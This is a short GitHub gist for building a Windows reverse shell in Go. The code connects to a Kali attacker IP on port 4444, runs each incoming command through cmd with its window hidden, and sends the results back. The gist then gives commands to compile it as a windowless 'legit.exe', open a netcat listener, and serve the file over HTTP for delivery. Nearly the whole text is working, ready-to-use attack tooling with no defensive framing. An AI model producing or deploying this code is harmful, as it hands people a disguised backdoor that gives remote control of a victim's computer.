Skip to content

Instantly share code, notes, and snippets.

@joenorton8014
Created October 12, 2017 01:14
Show Gist options
  • Save joenorton8014/a491820abd296fe03a7c26d39995e63c to your computer and use it in GitHub Desktop.
Save joenorton8014/a491820abd296fe03a7c26d39995e63c to your computer and use it in GitHub Desktop.
Create text file called shell.go. Change highlighted portion to match your Kali IP:
package main
import (
"bufio"
"net"
"os/exec"
"syscall"
)
func main() {
conn, _ := net.Dial("tcp", "172.31.73.47:4444")
for {
in_command, _ := bufio.NewReader(conn).ReadString('\n')
cmd_res := exec.Command("cmd" , "/C", in_command)
cmd_res.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
output, _ := cmd_res.Output()
conn.Write([]byte(output))
}
}
Compile to exe with:
GOOS=windows GOARCH=386 go build -ldflags -H=windowsgui -o legit.exe shell.go
Start a listener on your Kali machine in one terminal:
nc -nlvp 4444
Serve up the file in another:
python -m SimpleHTTPServer 80
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment